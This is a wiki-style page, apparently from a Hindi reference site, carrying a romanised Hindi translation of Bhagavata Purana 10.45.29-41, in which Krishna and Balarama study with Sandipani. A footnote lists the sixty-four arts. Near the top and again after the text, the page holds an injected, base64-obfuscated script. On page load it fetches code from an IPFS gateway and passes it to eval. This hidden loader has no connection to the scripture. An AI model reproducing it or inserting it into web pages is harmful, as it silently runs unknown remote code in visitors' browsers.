श्रीमद्भागवत महापुराण दशम स्कन्ध अध्याय 45 श्लोक 29-41

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dasham skandh: panchachatvarianshoadhyayah (45) (poorvardh)

shrimadbhagavat mahapuran: dasham skandh: panchachatvarianshoadhyayah shlok 29-41 ka hindi anuvad

is prakar yaduvansh ke achary gargaji se sanskar karakar balaramaji aur bhagavan shrikrishna dvijatv ko prapt hue. usaka bramhachary akhand to tha hi, ab unhoanne gayatripoovak adhyayan karane ke liye use niyamatah svikar kiya . shrikrishna aur balaram jagath ke ekamatr svami haian. sarvajn haian. sabhi vidyaean unhian se nikali haian. unaka nirmal jnan svatahsiddh hai. phir bhi unhoanne manushy-si lila karake use chhipa rakha tha .

ab ve donoan gurukul mean nivas karane ki ichchha se kashyapagotri sandipani muni ke pas gaye, jo avantipur ujjain mean rahate the . ve donoan bhaee vidhipoorvak gurooji ke pas rahane lage. us samay ve b de hi susanyat, apani cheshtaoan ko sarvatha niyamit rakhe hue the. gurooji to unaka adar karate hi the, bhagavan shrikrishna aur balaramaji bhi guru ki uttam seva kaise karani chahiye, isaka adarsh logoan ke samane rakhate hue b di bhakti se ishtadev ke saman unaki seva karane lage . guruvar sandipaniji unaki shuddhabhav se yukt seva se bahut prasann hue. unhoanne donoan bhaiyoan ko chhahoan aang aur upanishadoan ke sahit sampoorn vedoan ki shiksha di . inake siva mantr aur devataoan ke jnan ke sath dhanurved, manusmriti adi dharmashastr, mimaansa adi, vedoan ka tatpary batalane vale shastr, tarkavidya (nyayashastr) adi ki bhi shiksha di. sath hi sandhi, vigrah, yan, asan, dvidh aur ashray—in chhah bhedoan se yukt rajaniti ka bhi adhyayan karaya . parikshith! bhagavan shrikrishna aur balaram sari vidyaoan ke pravartak haian. is samay keval shreshth manushy ka—sa vyavahar karate hue hi ve adhyayan kar rahe the. unhoanne gurooji ke keval ek bar kahane matr se sari vidyaean sikh lian . keval chauansath din-rat mean hi sanyamishiromani donoan bhaiyoan ne chauansatho kalaoan ka[1] jnan prapt kar liya. is prakar adhyayan samapt hone par unhoanne sandipani muni se prarthana ki ki ‘apaki jo ichchha ho, guru-dakshina maang lean’ . maharaj! sandipani muni ne unaki adbhut mahima aur alaukik buddhi ka anubhav kar liya tha. isaliye unhoanne apani patni se salah karake yah gurudakshina maangi ki ‘prabhasakshetr mean hamara balak samudr mean doobakar mar gaya tha, use tum log la do’ . balaramaji aur shrikrishna ka parakram anant tha. donoan hi maharathi the. unhoanne ‘bahut achchha’ kahakar gurooji ki ajna svikar ki aur rathapar savar hokar prabhasakshetr mean gaye. ve samudr tat jakar kshanabhar baithe rahe. us samay yah janakar ki ye sakshath parameshvar haian, anek prakar ki pooja-samagri lekar samudr unake samane upasthit hua . bhagavan ne samudr se kaha—‘samudr! tum yahaan apani b di-b di tarangoan se hamare jis guruputr ko baha le gaye the, use lakar shighr hamean do’ .

manushy veshadhari samudr ne kaha—‘devadhidev shrikrishna! maianne us balak ko nahian liya hai. mere jal mean panchajan nam ka ek b da bhari daity jati ka asur shankh ke roop mean rahata hai. avashy hi usi ne vah balak chura liya hoga’.

samudr ki bat sunakar bhagavan turant hi jal mean ja ghuse aur shankhasur ko mar dala. parantu vah balak usake pet mean nahian mila .



« pichhe age »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. chauansath kalaean ye haian— 1 gan vidya, 2 vady-bhaanti ke baje bajana, 3 nrity, 4 naty, 5 chitrakari, 6 bel-boote banana, 7 chaval aur pushpadi se pooja ke upahar ki rachana karana, 8 phooloan ki sej banana, 9 daant, vastr aur aangoan ko rangana, 10 maniyoan ki pharsh banana, 11 shayya-rachana, 12 jal ko baandh dena, 13 vichitr siddhiyaan dikhalana, 14 har-mala adi banana, 15 kan aur choti ke phooloan ke gahane banana, 16 kap de aur gahane banana, 17 phooloan ke abhooshanoan se shrriangar karana, 18 kanoan ke pattoan ki rachana karana, 19 sugandhit vastuean—itr, tail adi banana, 20 indrajal—jadoogari, 21 chahe jaisa vesh dharan kar lena, 22 hath ki phurti ke kam, 23 tarah-tarah ki khane ki vastuean banana, 24 tarah-tarah ke pine ke padarth banana, 25 suee ka kam, 26 kathaputali banana, nachana, 27 paheli, 28 pratima adi banana, 29 kootaniti, 30 granthoan ke padhane ki chaturi, 31 natak, akhyayika adi ki rachana karana, 32 samasya poorti karana, 33 patti, beant, ban adi banana, 34 galiche, dari adi banana, 35 badhee ki karigari, 36 grih adi banane ki karigari, 37 sone, chaandi adi dhatu tatha hire-panne adi ratnoan ki pariksha, 38 sona-chaandi adi bana lena, 39 maniyoan ke rang ko pahachanana, 40 khanoan ki pahachan, 41 vrikshoan ki chikitsa, 42 bhe da, murga, bater adi ko l dane ki riti, 43 tota-maina adi ki boliyaan bolana, 44 uchchatan ki vidhi, 45 keshoan ki saphaee ka kaushal, 46 mutthi ki chij ya man ki bat bata dena, 47 mlechchh-kavyoan ka samajh lena, 48 vibhinn deshoan ki bhasha jnan, 49 shakun-apashakun janana, prashnoan ke uttar mean shubhashubh batalana, 50 nana prakar ke matrikayantr banana, 51 ratnoan ko nana prakar ke akaroan mean katana, 52 saanketik bhasha banana, 53 man mean katakarachana karana, 54 nayi-nayi batean nikalana, 55 chhal se kam nikalana, 56 samast keshoan ka jnan, 57 samast chhandoan ka jnan, 58 vastroan ko chhipane ya badalane ki vidya, 59 ddoot kri da, 60 door ke manushy ya vastuoan ka akarshan kar lena, 61 balakoan ke khel, 62 mantr vidya, 63 vijay prapt karane vali vidya, 64 vetal adi ko vash mean rakhane ki vidya.

sanbandhit lekh

-

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah